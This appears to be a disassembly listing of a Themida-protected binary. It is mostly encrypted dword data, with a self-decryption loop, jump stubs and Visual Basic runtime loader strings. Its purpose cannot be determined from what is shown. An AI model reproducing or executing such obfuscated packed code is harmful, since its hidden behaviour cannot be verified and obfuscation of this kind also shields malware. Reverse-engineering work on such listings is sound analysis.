dd 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h, 71FE4D4Fh
dd 1DDE9BDEh, 5A31D977h, 675FB2ABh, 34E2E1B5h, 7F489A6Bh
dd 4AB93664h, 0DD7C072Bh, 7817C8F8h, 358CD88Ch, 0E9D892C8h
dd 0C8F8FB9Eh, 1AA5A17h, 0A70251A4h, 1DDAF9B3h, 0BD93410Ah
dd 297D296Ah, 1A482E7Ch, 0E2E08B62h, 241DD845h, 0AFCE80D5h
dd 303FAC03h, 2511B845h, 503C3879h, 454FE631h, 378F11B8h
dd 9BAFFE85h, 0F063E2E1h, 0EC52135h, 0B8197F53h, 0F708BE93h
dd 60000000h, 5DB2AB5Ah, 0C8457F12h, 7A26D617h, 1F9E5085h
dd 88DB2A73h, 1160AFCEh, 0D6840BBDh, 44FD9CE7h, 0AC5817C8h
dd 16D00203h, 49DB2C77h, 0EAA517C8h, 5F6551E0h, 3FC6E75Ch
dd 0AEFD520Ch, 0B54063Fh, 0D0EFA9BAh, 6D1AC16Dh, 17C804CAh
dd 0F8C79B8Bh, 0D818158Bh, 7CD4211Dh, 4E0FBBC2h, 886936E6h
dd 9C4BA2DAh, 1C45F74Dh, 0CAA6A5ABh, 75027117h, 0BA53BE2h
dd 3BE27502h, 83730BA5h, 0C4B0F19Dh, 469CE9D8h, 0F4E6D78Ch
dd 27E39E2Bh, 52FEC36Eh, 17512D54h, 0C0585BE2h, 0D2h, 85DA8CC3h
dd 39662038h, 0B2DF91CCh, 0A570943h, 0B8EDA7BBh, 2939FCC4h
dd 7ED3226Fh, 281E8FC4h, 87DC2976h, 0C51498CDh, 0DE9D173Ah
dd 0F8A03E1Dh, 0B6AB065Ch, 0AC59A8FCh, 28D6FDB7h, 7CCF1E87h
dd 2BD82D21h, 17C8450Ch, 8A095D49h, 89F83CCDh, 0EEA242D2h
dd 4C18D201h, 0AB5A4B17h, 28D6FDB7h, 934D7E87h, 53AE9DECh
dd 913D44FEh, 250990C5h, 0EC759261h, 0E9A3B76Bh, 21593CEAh
dd 0B70C55F5h, 0F0AAB948h, 0F6BF58AFh, 0F2A21DDEh, 934D7ECBh
dd 0EF7EEDBEh, 0EF9B22DCh, 0B2667504h, 6B34E011h, 0F08F499Ah
dd 7EC730A3h, 944DBE17h, 6B38F2E1h, 0F08F499Ah, 0DAF9ABA1h
dd 4AFBB62Dh, 70E65019h, 0FE89AEF7h, 9BB0FD52h, 34AE2E1h
dd 5E000000h, 35CBFEBh, 0F0E33251h, 144A9736h, 0BB0E5B62h
dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h
dd 51945170h, 0BB53E189h, 4, 835BD901h, 0C8704E9h, 89575C24h
dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 241C895Ch, 2FCE68h
dd 243C8900h, 164ACF68h, 241C8B06h, 4C481h, 8B540000h
dd 0C483243Ch, 89575504h, 5FFD89DFh, 5D086F89h, 53243C8Bh
dd 0C381E389h, 4, 4C381h, 1C870000h, 34FF5C24h, 0C4835B24h
dd 0F0EAE904h, 5B49FFFAh, 94063450h, 39D8320Bh, 137A00C8h
dd 165990B8h
dd 0FFC50306h, 7DABE0h, 0BCE3B908h, 849E5A5Bh, 24D9DE21h
dd 56150632h, 5625AE7Eh, 5FC6455Eh, 0D0E20A0Dh, 62A6B138h
dd 0D694387Bh, 1D8D8D23h, 8906165Bh, 100081BDh, 0F58D8906h
dd 6A061009h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 1D61C350h, 5EDC9724h, 1985C7C2h
dd 74061023h, 6A00006Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 0C759C356h, 1022C185h
dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 11B0F45h, 0E63FA03h, 1651958Bh, 9570610h
dd 100E2995h, 0B5FF5B06h, 61004E9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 19C35141h, 9F31BA41h, 0BD8B3CAEh
dd 6102D51h, 2DB995FFh, 6E90610h, 0FC000000h, 8FA8654h
dd 0FF006A41h, 1031C995h, 0EBC08B06h, 0BAEC1D18h, 0EE40E43Eh
dd 9D5532B6h, 0BCEFD641h, 0FDFF5323h, 0DFEF0F59h, 14E835h
dd 40900000h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h, 6CD383A9h
dd 0BD8BBB46h, 6101D11h, 0C38B6659h, 6221C181h, 0B8660000h
dd 0D233B92Eh, 4ADBD89h, 348B0610h, 0AE911h, 51EE0000h
dd 0F2645A7Fh, 0CEEDE3E1h, 0C961EE81h, 81F511ABh, 0D09E22F6h
dd 0DFB70F0Eh, 0B3ECF681h, 81563B27h, 502B81F7h, 0E9565B63h
dd 6, 2ECB2266h, 48FEA81h, 0BF0F6011h, 8FCFBFC9h, 8B613260h
dd 101E459Dh, 4EA8306h, 2205BD8Bh, 0FA810610h, 0FFFF9EA0h
dd 16850Fh, 0CF800000h, 29E9DCh, 0BD670000h, 6B90E018h
dd 53FC66A3h, 0B003F86h, 0E9C38B66h, 0FFFFFF7Eh, 1FA8FA26h
dd 38E1194Eh, 18EE0A00h, 5339253Bh, 0E9DCB42Dh, 29h, 5E96A1Ch
dd 9 dup(0)
dd 5A5E900h, 4BFB0000h, 1FC55408h, 40E574E8h, 1FC45307h
dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h
dd 2397CC73h, 0ED555428h, 96BDA20h, 793220ACh, 0F0A9633Bh
dd 7B317990h, 50442044h, 0B90900DEh, 5D6DCCA6h, 0BD6FEC01h
dd 0DC12E575h, 0FD00ED24h, 0DE1BD0E3h, 2E122E32h, 0F44FB7Ah
dd 8CC97E3Dh, 7B0BB772h, 6FEB6DCCh, 762DAC5Ah, 8E365541h
dd 0AF10AB57h, 255A1110h, 0CC76354Bh, 286DCC7Bh, 30A72F4Ch
dd 0C8B3F7Ah, 15671B56h, 7B8240EBh, 6626DCCh, 86C76AF1h
dd 0DA79089Ah, 0F06CA75Bh, 39F2C269h, 0D6791004h, 0C799BD99h
dd 7B50F299h, 97926DCCh, 6DCC7B2Bh, 0C39F4FCBh, 0A253B996h
dd 895ECA06h, 7318A39Dh, 0DD6A2136h, 626DCC2Eh, 0E627C261h
dd 0C6336AE3h, 76h, 5FE3A6B8h, 0F06DCC3Ah, 2905FD3Ch, 0A9D77854h
dd 0CC7C4002h, 0B3C8A46Dh, 564A7F28h, 79AE55E4h, 0D7D4A98Dh
dd 6DCC7C69h, 777211B2h, 336B3636h, 116h, 0A9D77400h, 573E7F32h
dd 6DCC7CEBh, 813A0F0Bh, 0E9E094CBh, 26180C43h, 95B2F193h
dd 782C691Eh, 5EC75E45h, 309279A6h, 0D46DCC7Ch, 69627C58h
dd 6B582707h, 8942F903h, 0A7C4A054h, 0CAFFA82Fh, 7E32780Eh
dd 8C34533Fh, 852AA155h, 8B3D5C48h, 7E25584Ch, 4F863EE7h
dd 17A27673h, 0E94D3972h, 0A701AC04h, 0B2C7B599h, 86587211h
dd 0CC923F83h, 7E5BD76Dh, 58D413B5h, 1F52AE1h, 0D0AAE38Ah
dd 782C6309h, 761FDFFCh, 7A43A63Dh, 5A336A45h, 77h, 338F7A64h
dd 0D36DCC98h, 3C868557h, 0D86DCC98h, 32A57F5Ch, 0C3FEA47Eh
dd 2DD4F39Fh, 566D00F4h, 93D276BFh, 0ADECA017h, 0F02DE2F9h
dd 81205304h, 1E2A0845h, 18B6442Dh, 0FD813C43h, 6361336Ah
dd 0AB000000h, 533F7E32h, 79538E34h, 89D2CE54h, 5E25D86h
dd 0FFBAA619h, 35F1348h, 77BE55E6h, 382296D5h, 0E75313h
dd 2244400Fh, 40E83D31h, 2CE1587Ch, 324ED6F3h, 84F437Ah
dd 6DCC7CBFh, 0E99DDC90h, 44033AF2h, 39B460A1h, 3605CB6Ah
dd 0C20BEE85h, 0A2336B35h, 0Ah, 0E877AF9Ch, 0CA2296DCh
dd 7B3217ADh, 90374E42h, 7B30A75Bh, 8E33523Eh, 0B50EA155h
dd 7100B21Eh, 23E6F8D2h, 6DCC7C9Fh, 55DEFB77h, 5EC377B0h
dd 0BF6A8457h, 67FC065Ah, 4544302Ch, 66F5699Eh, 623AEDBDh
dd 0A15571ACh, 0A6F5A1C5h, 9423891Eh, 0F1D56C53h, 89A61C0Fh
dd 0E23E9423h, 60954E05h, 81B66DECh, 184DF695h, 37492F6Ch
dd 2389CE74h, 2D4A2694h, 752EF78Eh, 0F6AB2E40h, 936DC9BDh
dd 23892A98h, 794ECA94h, 40F2DBC5h, 662C1F38h, 0CDFF4346h
dd 1B179423h, 945D2237h, 74397B84h, 15Dh, 6585618Ah, 0DBE884D6h
dd 1A72C7E5h, 491E4217h, 15BD5C83h, 933BEA20h, 2FA4C91Ah
dd 0F0F2C1Ah, 0AC5F7155h, 67FC779Fh, 80170B67h, 441692C7h
dd 0DB5A8407h, 0D1EC0C6Fh, 928EC8h, 2DDCEED2h, 943C4F95h
dd 5BD8F571h, 0DE5D6FA4h, 2CDAEF26h, 0D5C1F6ADh, 0E54CE378h
dd 8A55093Eh, 397B0347h, 5427h, 0C15C6500h, 0D949401Ah
dd 0FDEDCC7Ch, 0D68C4F21h, 0CC8BE79Bh, 0FFFFDC15h, 0CC7CEA58h
dd 5AE1D3EDh, 0E8D79B4h, 22371B5Ah, 6A6DE281h, 36AC5F71h
dd 0AC6DCC7Ch, 17A340BFh, 1532D632h, 0D4550965h, 0B5h
dd 0DA85EFDCh, 9814C7DAh, 46739FF5h, 2F4C921Ch, 1EBD5C95h
dd 0C3C5D4Ch, 31A867FCh, 7228457Ah, 3B300AF6h, 9F366229h
dd 2FACC1DEh, 10874378h, 276E2257h, 94233F9Ch, 7155ECD3h
dd 0D7017C7Ch, 3CE46EE1h, 31151105h, 0ABD3B00Ch, 1C31742Bh
dd 0F7B3E89Fh, 0FED00BAAh, 999929E0h, 0A17D9423h, 0A1CAB4CCh
dd 3851690Eh, 5C472427h, 9E199FFBh, 5C7B2703h, 381165A3h
dd 2CD811B8h, 0AE172348h, 5E7D294Dh, 1FB66AABh, 0FD792D6Eh
dd 574B8A3Eh, 0D8E47B24h, 9A3CD36Eh, 0CE3E8DB1h, 2B403420h
dd 0CEA03BDAh, 2E8D7ADBh, 0D6A88494h, 0E3876103h, 27AFCCA8h
dd 1EBD5CA1h, 9BDC8D4Ch, 8A6E8BE7h, 0F6D83E9Fh, 85A5A667h
dd 1AEECE4Bh, 0D714B76Eh, 731B0002h, 5E974EB5h, 8589AEB2h
dd 0F03DF2Eh, 0BD91CF78h, 0D5A79E16h, 3F219DB9h, 708DC47Ch
dd 1B073CE3h, 262DB74Ch, 0BC536C98h, 2599CE75h, 671DED96h
dd 4E04430h, 7FBC6FEAh, 31E524C8h, 6F661835h, 1937FBCh
dd 0F6F7D372h, 569CA1C3h, 2FDD0AB9h, 0DB1328E1h, 8BF7C51h
dd 27E057D3h, 81B50DFCh, 0DF519826h, 2681962Ch, 0CEF26E98h
dd 395FEF2h, 0E7000000h, 80326D5Fh, 9952493Dh, 7519B064h
dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h
dd 7830A75Bh, 52CF5541h, 0C281E289h, 4, 3304EA83h, 14312414h
dd 24143324h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
dd 242C895Ch, 7B668h, 24148900h, 3CE8BF57h, 0E7C10E4Eh
dd 40CF8106h, 0C14F2963h, 0EF8102EFh, 59B13F4Eh, 5D04B850h
dd 0D8F75A92h, 7135D0F7h, 2D09A244h, 2B545CBDh, 8958C701h
dd 0CD685FFDh, 8900004Fh, 4832424h, 555A0424h, 0F3240481h
dd 8F663308h, 0B8500842h, 663308F3h, 58084229h, 5A2434FFh
dd 8B04C483h, 8953242Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h
dd 1E92E95Ch, 0B8A3FFFAh, 6166134h, 0E0FFC503h, 6D8C758Eh
dd 22F6EAC9h, 617C39CDh, 4E350080h, 47A661D8h, 6C37D617h
dd 499CFDE3h, 4DA3898Bh, 6A8BA40h, 497FB64Fh, 6609C204h
dd 1FB6FAAh, 67BE2ADDh, 538819A9h, 7299A0Eh, 26DB07A4h
dd 4FE01CB9h, 5C81A96Dh, 7F11EB8Bh, 1234A05Ah, 72D19F98h
dd 4D413839h, 34704C08h, 54C80756h, 3E1B3A41h, 5F8D85D9h
dd 31591135h, 7CADFD45h, 22D227CFh, 0BE8h, 2900100h, 0BF81DD52h
dd 0DC005AA3h, 0E78166h, 9E9587Bh, 66000000h, 0C499597Fh
dd 93AEEC11h, 7166C081h, 0ABB0000h, 6831A92Eh, 1C3Dh, 8BF78B5Ah
dd 81F28B08h, 233BF1E9h, 8178B313h, 49CCA0F1h, 6E930h
dd 8BFD0000h, 18A43F4Ah, 120BF181h, 0DD8A0CA3h, 48BB0889h
dd 836376C6h, 0F5204E8h, 683h, 860F00h, 5E000000h, 0BC850F4Ah
dd 8DFFFFFFh, 1663AD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0F58D89EDh, 0E9061009h
dd 11h, 0D3A80EE5h, 87EFA7E3h, 0C681227h, 0FCBB8AEEh, 1985C756h
dd 0AC061023h, 0B200006Bh, 0C185C7ADh, 61022h, 0E9000000h
dd 0Dh, 0C891E620h, 7438F5E8h, 0F82DCF41h, 58F0F09h, 66000000h
dd 930BD381h, 2ED5B5FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 254E8C3h, 633D326Eh
dd 607FC63Bh, 9D895A52h, 6101651h, 0B995FF61h, 6A06102Dh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0F8D9C351h, 0BCEE215h, 10061985h, 0FF006A06h
dd 1031C995h, 0EBC08B06h, 0D2B27F1Ch, 5F84289Bh, 0D27F99A2h
dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 12E8D8h
dd 83AC0000h, 0FE15DCA4h, 0A06BEF5Bh, 7CBE9585h, 9F0F8918h
dd 5518D29h, 89580610h, 102D09B5h, 0E8C08106h, 0B100005Fh
dd 17D6BE45h, 0B9600000h, 0B48959Ah, 5E8h, 3E94CB00h, 880F151Eh
dd 0
; ---------------------------------------------------------------------------
pop esi
popa
loc_5B1882: ; CODE XREF: Themida_:005B18BAj
mov ebx, [eax]
or [ebp+6100585h], edi
sub ebx, 7BEE46E5h
add dx, 3257h
xor ebx, 0DD60A8h
add dl, 0B1h
sub ebx, 32FFC1F0h
mov ch, 0A0h
mov [eax], ebx
sub [ebp+610141Dh], ecx
sub eax, 4
xor dh, 96h
sub esi, 1
jnz loc_5B1882
jmp loc_5B18D2
; ---------------------------------------------------------------------------
db 34h, 2Eh, 0D4h
dd 32BF8A0Ah, 162904E4h
db 9, 73h
; ---------------------------------------------------------------------------
loc_5B18D2: ; CODE XREF: Themida_:005B18C0j
jmp loc_5B1A3C
; ---------------------------------------------------------------------------
db 67h
dd 0C52849D9h, 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h
dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
db 0
db 2 dup(0), 33h
aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
align 4
dd 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B1A3C: ; CODE XREF: Themida_:loc_5B18D2j
jmp loc_5B3638
; ---------------------------------------------------------------------------
push 6166808h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61668E4h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61669D1h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6166A8Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6166AD2h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6166BA7h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6166C02h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6166C50h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61673E4h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6167474h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6167548h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 616761Fh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6167684h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6167765h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 616780Bh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61678C0h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6167ED8h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6167FF5h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 616809Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 9Eh
dd 0A635A9ECh, 8413C7FEh, 0B128A4DDh, 8E0DC1FEh, 291F9BDAh
dd 0BEFDAFDDh, 99DA8B0Ah, 0B5F09625h, 94C982F9h, 604B3518h
dd 6BDA1AE2h, 321FA502h, 39504479h, 84E15D92h, 0C5946675h
dd 2A2FE324h, 2C038B54h, 3B1034B6h, 0F0456625h, 6FC167FCh
dd 3CB006BCh, 36751794h, 4436E64Ah, 3CB0FD45h, 391D1994h
dd 0D378431Dh, 96C5C196h, 943CB028h, 641047FDh, 9084C365h
dd 0E1EF861Dh, 63263838h, 943CB0DFh, 7D1E3B37h, 5DAA03E6h
dd 4E8A397Ah, 0B4000000h, 965EC1B7h, 0B09D87CBh, 5E6639F1h
dd 63E9FEC0h, 0D41B96D7h, 36433244h, 0A635C421h, 0B9FCD5D4h
dd 3E1A67FCh, 1AE93F2Ch, 16BC466Eh, 0A8164541h, 4B943CB0h
dd 915C9938h, 71397A69h, 0E2h, 72A45E8Fh, 4BC47EBBh, 607D599Ah
dd 447932C4h, 58973950h, 4B762DACh, 0CC7CE260h, 4A26026Dh
dd 5D883F56h, 0CC7C14AEh, 5074F06Dh, 0CD2DDCh, 39F26DCCh
dd 1AD14804h, 213F31E5h, 3380D86Ah, 98CF7592h, 9C9888ECh
dd 44971EBFh, 0E185542Ah, 6176FAA6h, 3F6B9AAh, 4D015D98h
dd 0A3FE873h, 0A03D1A16h, 1A8C219h, 9E155950h, 2D6E1FB6h
dd 893EFD79h, 0F8DC584Ch, 72B153E6h, 0B4E7E4B6h, 0C5A6AB21h
dd 2A6107BEh, 56DDFA76h, 0F534D8B2h, 9C412501h, 40352294h
dd 3039AA7Ah, 2A000019h, 12894588h, 30A7235Ah, 0D8C4079h
dd 1AA11D5Ah, 85833776h, 1A590B79h, 3576179Eh, 114C0279h
dd 30651E9Dh, 0FCAF917Ch, 6BDA1446h, 327B419Eh, 0C8B3F7Eh
dd 0D0AA1E53h, 7C47FBAEh, 0C39F6DCCh, 0BD5C1EA6h, 0E66D6D15h
dd 856121FFh, 138F06Bh, 3C1514ECh, 0DA67FCD1h, 827F6C7Eh
dd 0DBCBD97Eh, 32731695h, 1905E23Eh, 3C78F452h, 0C55C1794h
dd 7B31CD20h, 0AAAD39h, 321F0000h, 39504479h, 0D2AC5897h
dd 2E8D2D99h, 0E9FE995Eh, 0CCF1D842h, 93EE56Dh, 4D1DC655h
dd 91856196h, 34469524h, 0FCE76C75h, 0BC8E8A67h, 0A35BE7A2h
dd 5FBB943Ch, 686FD48Ah, 84875973h, 943CA33Eh, 5B7D5AD6h
dd 0A6E12B0h, 6476F29Eh, 38F433D5h, 6BD00FC1h, 4036F6F3h
dd 5400E9BDh, 4E000018h, 56E5599Ch, 34C377AEh, 61D8548Dh
dd 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h
dd 24591289h, 0D0BBC5A8h, 6BDA1472h, 328F1592h, 0B18B3F7Eh
dd 564A832Ah, 8D36FDDAh, 0C0458658h, 0F6999BF5h, 0A644FACFh
dd 50447932h, 0A4679239h, 6DCC7C1Eh, 0E2567AF6h, 25CA767Dh
dd 1C383CE8h, 34A4742h, 816A67FCh, 0C9234730h, 4002A974h
dd 0A49423FAh, 0CBCFACC8h, 4AF4A34Fh, 0A99423FAh, 337E7B1Ah
dd 13397BA4h, 0B9h, 31B81579h, 392739A2h, 0B794C982h, 0FC2057CCh
dd 30F36F67h, 9D7FE987h, 0EEED0CA9h, 2DD42DDCh, 0B6B242A9h
dd 9B7115A4h, 5FC3AFE4h, 4BB86683h, 6E1D2FACh, 78BE964Eh
dd 19A0BAB6h, 3A1E3B74h, 0B3F49524h, 5F134EF4h, 0B66DE603h
dd 954ECD81h, 0E423C5h, 0D94EC95Bh, 0C6CFC7AAh, 1767h
dd 0BA6EB161h, 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h
dd 0B0548602h, 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h
dd 0DA155FE3h, 723AB76Bh, 5B4E7932h, 6DCC7CE7h, 7C942EDDh
dd 0F4706DCCh, 504420FCh, 75875463h, 0FC03BDB6h, 24E75967h
dd 9423849Eh, 62D6FA76h, 31B815C4h, 942739A2h, 0C098B5ECh
dd 0FC2058C9h, 0FDAC7E67h, 9423A045h, 26A1C5A1h, 0AABC375h
dd 64777E1Fh, 0F8629F8Ah, 57E2153Ah, 0AA867AB1h, 7F51CDCDh
dd 0B3C809BCh, 0E4F7FEF3h, 42391F0Ah, 77C90B4Dh, 0F033EE4h
dd 42DE6413h, 3A360B6Fh, 0CE754416h, 0ED962599h, 0E26F13B8h
dd 1501D54Bh, 16AA84h, 0BF02A400h, 9DD48C0Bh, 0BAF39A21h
dd 97D477FEh, 0B1F09423h, 81F30FFDh, 9D1C90CFh, 0A82FABECh
dd 8413C702h, 3732A6DBh, 16FC4645h, 9B186BDAh, 5B04D711h
dd 0E18A5126h, 0DC513FACh, 27FFB3E8h, 1666BEh, 6BAE6000h
dd 89C068EFh, 669F46D5h, 83C063F2h, 5D9C50C7h, 6D9FEBE1h
dd 39C07CBBh, 54E35798h, 40B773AEh, 0F3D65287h, 16A02209h
dd 67446BDAh, 5C04D7DDh, 395C3825h, 0AE37AEFFh, 34692299h
dd 77647340h, 8081A665h, 987D67FCh, 61481622h, 943C0CE1h
dd 67442905h, 7D9FDF0h, 78528F34h, 3C7C3191h, 8459D594h
dd 8F981EBAh, 67795388h, 7C309279h, 58D4943Ch, 201B8883h
dd 22999E0Ch, 0B7EC936Fh, 6E8B67CBh, 46F5B0ACh, 7BBB68AEh
dd 9FB12AC9h, 1C51FAC1h, 984D0C68h, 60A18A5Fh, 630CB3Dh
dd 0F5A1DA8Fh, 54A15571h, 454416C5h, 36DC8767h, 0D7A9C39Fh
dd 0E6895D04h, 5D79FDA9h, 23B0CDA9h, 493477Ch, 0C1C1265Bh
dd 4FF8FB5Dh, 15914E57h, 0DB8B0000h, 0EF952498h, 0D07504B8h
dd 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch
dd 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDA17h, 4002B07Ch
dd 0AD6DCC7Ch, 6DCC0C11h, 33FC48F6h, 9C11AD92h, 7D269233h
dd 9CEB5752h, 0F0B9233h, 3CC68633h, 7C284C17h, 15366Bh
dd 3B7E3000h, 1950F87Fh, 366F16A5h, 1350F382h, 2D6C2097h
dd 1D4FBBB1h, 29B02C6Bh, 4934788h, 30A7235Eh, 0A3864277h
dd 1050F299h, 37B46BDAh, 5E04D76Dh, 0D6F36F23h, 916B7087h
dd 0FC7D559Ah, 0C875F167h, 4A07230Ah, 0E827B064h, 0E2000014h
dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh
dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h
dd 6BDA10DEh, 0D7F3B936h, 6E225F04h, 0A55ED5F2h, 5E058470h
dd 6D4E7D29h, 0BF65F4D6h, 7C2B9792h, 4FCB6DCCh, 50A15673h
dd 30336B2Ah, 47h, 7C44029Ah, 32D96DCCh, 0B358E3FDh, 3A9D8A76h
dd 5C2725ACh, 76401D39h, 0B3FDF4CFh, 853DEC6Dh, 9A92688Ah
dd 0CBC2BAF3h, 4C28DC17h, 0E6584C28h, 8AB111F8h, 0D9559268h
dd 14514504h, 0F06B0000h, 85C26539h, 32C08C61h, 93D83B79h
dd 155B87h, 0FCE11D83h, 163A8026h, 95D27544h, 0D772D0BBh
dd 96926DCCh, 0E9F0C5C1h, 9B27E2FCh, 7B6DCCD7h, 0D74AF89Fh
dd 3CE36DCCh, 67171B07h, 883AF10Bh, 6C6DCCD7h, 0FFAD4F0h
dd 67FC80B6h, 0B58D450h, 2EDDEFECh, 9E0C63E5h, 0C2ABC5A1h
dd 8A438814h, 1BE5D29Dh, 81024492h, 0F6959166h, 0E3A2164Fh
dd 9E2CD65Ah, 4C0037EDh, 0EE017CDh, 0D68939F0h, 0F16D9E2Ch
dd 0F5AB2ADCh, 0E675D2BEh, 73EE64Fh, 8C458853h, 26B53F8Ah
dd 0BD33487Dh, 247h, 1EBD5C0Fh, 0CB77324Ch, 2B6DCC7Ch
dd 43461A2Fh, 67FC0B4Ah, 3D6A884h, 0F67A265Dh, 0FEA625E1h
dd 0DC8413C7h, 0BC7FF1A5h, 0F6ADCA07h, 9423FD48h, 47832201h
dd 5A0B0106h, 203D0E23h, 2B6ED93h, 0B4EBA118h, 3FE564C0h
dd 8392F308h, 0B4458658h, 16819F57h, 33F60ADFh, 9E135332h
dd 25A450CCh, 0AF2A4483h, 34AABFFCh, 0D0C403A5h, 13333B89h
dd 0C867389Eh, 0D488C769h, 5973686Fh, 10B25987h, 0F49E1333h
dd 333B8782h, 7FDB9E13h, 549D8663h, 0F2942356h, 540B8A76h
dd 0F49CDC84h, 59705FCEh, 3CF0D4F0h, 25D106BDh, 305CC76h
dd 70AF6180h, 1F5F0584h, 5BEE5869h, 3DE90D6Bh, 0A3822182h
dd 52CEC201h, 0AD44DB6Eh, 32A6DB84h, 0DAC6FDA3h, 22CE05BBh
dd 0A4481365h, 98B5B165h, 1FC56C03h, 68A974E8h, 48459B41h
dd 0BDh, 6A96D7C2h, 6608F180h, 8BC7754h, 4E0909C0h, 0EC080458h
dd 0B0EFA138h, 5DF487C4h, 3DF130D4h
dd 6B0C2F82h, 930F33h, 327D0000h, 39504479h, 3ADE5492h
dd 89A7DF79h, 22C8936Dh, 80373BE7h, 9C988CCDh, 23C8BFBFh
dd 835F944Bh, 7955F88Fh, 8AE69AD5h, 9928BA66h, 8221D6FAh
dd 548942E3h, 923306D8h, 827A6C51h, 0FF945DE5h, 53DC35EAh
dd 46BC336Ah, 0C2000000h, 2B6C1D9Ch, 0CCB2C67Ch, 25421E6Dh
dd 1EBD5C9Fh, 19945D4Ch, 363267FCh, 4B0EF04Ah, 0C9AD599Ah
dd 239F60E2h, 0C0474F94h, 0BFE5A90Ch, 0D415B8CFh, 9630DBF0h
dd 75942333h, 6F42A73Eh, 4F397BDAh, 9Fh, 1EBD5CBDh, 266C5D4Ch
dd 9E7A67FCh, 0F62DD3F2h, 0D60DB342h, 0BEF5AB2Ah, 18A375D2h
dd 0FB474271h, 1B9423AAh, 7546233Fh, 0B2CFFCDEh, 2737A934h
dd 0E99F1C31h, 3A24F6B2h, 230EF34Fh, 42171394h, 7BC3743Dh
dd 465439h, 5CB60000h, 1F411BC0h, 0CF8F882Eh, 0C196A5C6h
dd 0CC9258CAh, 0CEA07CEDh, 72B6E99Dh, 98B55BABh, 1FC594E6h
dd 0AE1813E8h, 8CEDCCEAh, 0F5015EF5h, 8D1514E6h, 296DCCEAh
dd 0EAEE5457h, 2A066DCCh, 10119246h, 6B000000h, 675396D7h
dd 77B4F10Ch, 53E762h, 0D7550000h, 6661ED96h, 2F4C711Ch
dd 0BCEFDA4h, 0B671B58h, 0CC8FA61Ch, 0FEE23E6Dh, 96CD7312h
dd 1BED9322h, 0A2DB9266h, 724E72EEh, 79997358h, 0A121C5C6h
dd 0CC1858EAh, 8460BC6Dh, 0B14AB767h, 0A813422Eh, 496DCC18h
dd 935E9B3Ah, 73336AD1h, 0BDDh, 1CC35CD9h, 1ED51668h, 0A856398Ch
dd 7F4E3512h, 8E9B63C2h, 529B5EF5h, 0C2BD156Ch, 0CA55ED9Ch
dd 0B5B11B99h, 3A3098h, 5C9A0000h, 9421CC3h, 0DA2EAC2Dh
dd 8B6D8A39h, 0CCE722A0h, 0CBBEA06Dh, 6DCCE777h, 0C4B6938Fh
dd 1DC39668h, 21363AE6h, 0D2723665h, 6211BB58h, 68CB26C3h
dd 8CABDCDEh, 21000002h, 8E1CC35Ch, 7932BA12h, 522E7644h
dd 0F6AAE187h, 0D7C75D7Ah, 7C4002A9h, 0C8A46DCCh, 2231ECB3h
dd 3C11366Bh, 2F000000h, 7C23F3ACh, 0FBD75B47h, 0C35C46DEh
dd 93E4A13h, 587CB9E0h, 0D310B386h, 9E26431Fh, 7C6BD4D7h
dd 0C836DCCh, 0A3E08353h, 734F73EFh, 32F5D7A5h, 4274427Bh
dd 30408Ah, 5C8C0000h, 0D78E1CC3h, 0CC7C6BD4h, 0E7B5A16Dh
dd 3EF96D7h, 0D74B8968h, 324CDE02h, 0C506A77Bh, 4D71BA1h
dd 0C081761h, 9B82CD4Fh, 9267CBB7h, 450233D9h, 0DA06A1EAh
dd 0FBE5F736h, 0B886A7D2h, 1302A166h, 0B55EB0AFh, 0B0DC6625h
